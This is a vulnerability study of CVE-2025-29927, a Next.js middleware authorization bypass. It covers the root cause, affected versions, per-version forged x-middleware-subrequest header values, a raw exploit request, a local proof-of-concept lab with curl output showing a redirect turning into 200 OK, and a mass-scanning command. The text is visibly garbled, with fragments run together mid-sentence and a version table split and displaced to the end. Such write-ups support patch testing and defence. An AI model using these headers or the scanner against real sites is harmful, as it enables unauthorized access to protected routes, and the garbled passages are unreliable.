
This document presents a study of the vulnerability CVE-2025-29927, affecting the Middleware mechanism in the Next.js framework.
Next.js is a popular open-source framework from Vercel for building React-based applications. It supports server-side rendering, static generation, and a flexible middleware system used for routing, redirects, security headers, and access control checks.
In March 2025, a critical vulnerability CVE-2025-29927 was discovered related to the handling of an internal subrequest header.
The core issue is the ability to bypass authorization checks in applications where access control is implemented solely in middleware by injecting a specific value into the HTTP header x-middleware-subrequest. If security relies only on middleware, an attacker can gain access to protected routes or data.
Affected Next.js versions and fixes (according to public sources and official materials):
Fixes are available in releases 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.
Next.js is widely used in production; a vulnerability affecting the middleware layer (often used for authentication/authorization and security policies) carries a high practical risk.
Step-by-step breakdown of the vulnerability and a complete research lifecycle:
Collection and structuring of materials.
Systematize public sources on CVE-2025-29927; describe the defect's essence, trigger conditions, and confirmed versions/patches.
Determination of CPE and configuration conditions.
Provide a list of CPE/versions and describe configurations under which the vulnerability is reproducible (e.g., self-hosted deployment and authorization at the middleware level).
Safe demonstration.
Prepare a reproducible demo in a test environment (without destructive actions) confirming the middleware bypass in vulnerable versions.
Mass testing methodologies.
Describe and implement three safe approaches:

Root cause. In Next.js, the internal header x-middleware-subrequest is used to track internal subrequests and prevent recursion in middleware. In vulnerable branches, external clients can inject this header with an "expected" value — and the runtime skips middleware execution, passing the request directly to the route handler.
Role of the header. The header x-middleware-subrequest was originally designed as an internal indicator that the current HTTP request was initiated by the framework itself as an intermediate subrequest, not directly from the user.
It is needed for correct operation of Next.js internal mechanisms: besides routing, this flag helps avoid infinite recursion by "marking" each called middleware layer.
But precisely this logic created an unintended security hole: a client adding such a header themselves can make the system treat their request as internal and thereby bypass authorization checks.
Evolution of the logic.
Current NVD records indicate the product Vercel Next.js with the target software node.js. For vulnerable branches, the following configurations apply (version ranges defined at the CPE configuration level in NVD):
| CPE URI | Vulnerable version range |
|---|---|
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 11.1.4 ≤ v < 12.3.5 |
Note: the CVE description also states that overall "from 11.1.4 up to 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3" the vulnerability is reproducible under the conditions below.
next start, build with output: 'standalone') or any environment where middleware is executed on incoming requests without perimeter filtering of internal headers.x-middleware-subrequest (e.g., WAF rules).x-middleware-subrequestTo prevent infinite recursion of middleware, the runtime creates and reads an internal header:
: — resulting in an array of "subrequests".NextResponse.next()),x-middleware-subrequest-id), tied to the current process session; if it does not match, the incoming x-middleware-subrequest is cleared on the server side.An attacker sends an HTTP request to the target Next.js application, adding the internal header x-middleware-subrequest.
The value contains the path to the middleware file — for example pages/_middleware, middleware or src/middleware.
The required value depends on the Next.js version used and the project structure.
When such a request reaches the application, the framework's internal logic treats it as an internal subrequest and assumes the middleware layer has already been executed.
As a result, authentication and authorization checks that normally occur in middleware are effectively bypassed.
Important: this material is provided solely for testing the patch and modeling risk in a closed test environment.
Any checks in production infrastructure are only possible with the resource owner's permission.
Next.js uses the x-middleware-subrequest header to mark internal subrequests and prevent recursive middleware execution.
When processing a request, the header value is split by : and compared with the name of the current middleware.
In newer versions, a depth limit (MAX_RECURSION_DEPTH, usually 5) is added.
If the condition (name match or limit reached) is met, Next.js skips middleware and forwards the request.
An attacker can craft a valid header value simulating an internal subrequest.
_middleware.*_middleware.js/ts and located in the pages/ directory.x-middleware-subrequest: pages/_middlewaremiddleware.*middleware.js/ts./src.x-middleware-subrequest: middleware or x-middleware-subrequest: src/middleware:, and if the count of the middleware name repetition is ≥ 5,NextResponse.next().x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware or x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middlewareIn releases 15.x, developers reworked the logic to prevent infinite recursive calls.
When middleware is triggered on a path (e.g., /api/*), Next.js obtains another URL that also triggers the same middleware.
The framework counts the number of triggers via the x-middleware-subrequest header.
If the call count reaches the set threshold (MAX_RECURSION_DEPTH, default 5), further middleware calls are blocked.
An attacker can exploit this behavior by pre‑specifying a header value with the required number of repetitions, thus artificially reaching the depth limit — as a result, middleware is completely skipped.
for older branches, choose the header value according to the options above
GET /admin/dashboard HTTP/1.1
Host: <TEST-HOST>
User-Agent: <YOUR-LAB-CLIENT>
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
x-middleware-subrequest was intended as an internal mechanism to prevent infinite recursion.
But in vulnerable versions, there was no filtering of external requests: a client could forge the header,
satisfy the skip condition (name match or depth limit),
and directly access the protected route handler.
git clone https://github.com/iteride/CVE-2025-29927.git
cd CVE-2025-29927/nextjs/
npm install
npm run dev
Testing:
(example based on Next.js 15.2.2; for other branches, choose the header value according to the table in the PoC section)
curl -I http://localhost:3000
HTTP/1.1 307 Temporary Redirect
location: /403
Date: Mon, 22 Sep 2025 16:36:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5
curl -I -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/93f479601ee12b01-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/css/app/layout.css?v=1758558988609>; rel=preload; as="style"
Cache-Control: no-store, must-revalidate
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Date: Mon, 22 Sep 2025 16:36:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5
x-middleware-subrequest at the WAF/proxy level.X-Middleware-Subrequest header.
⚠️ Warning: the template is intended only for testing on your own or authorized targets. Use on third-party services without owner consent is illegal.
python3 scan.py --targets-file TARGETS_FILE --paths-file PATHS_FILE --threads THREADS
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 13.0.0 ≤ v < 13.5.9 |
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 14.0.0 ≤ v < 14.2.25 |
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 15.0.0 ≤ v < 15.2.3 |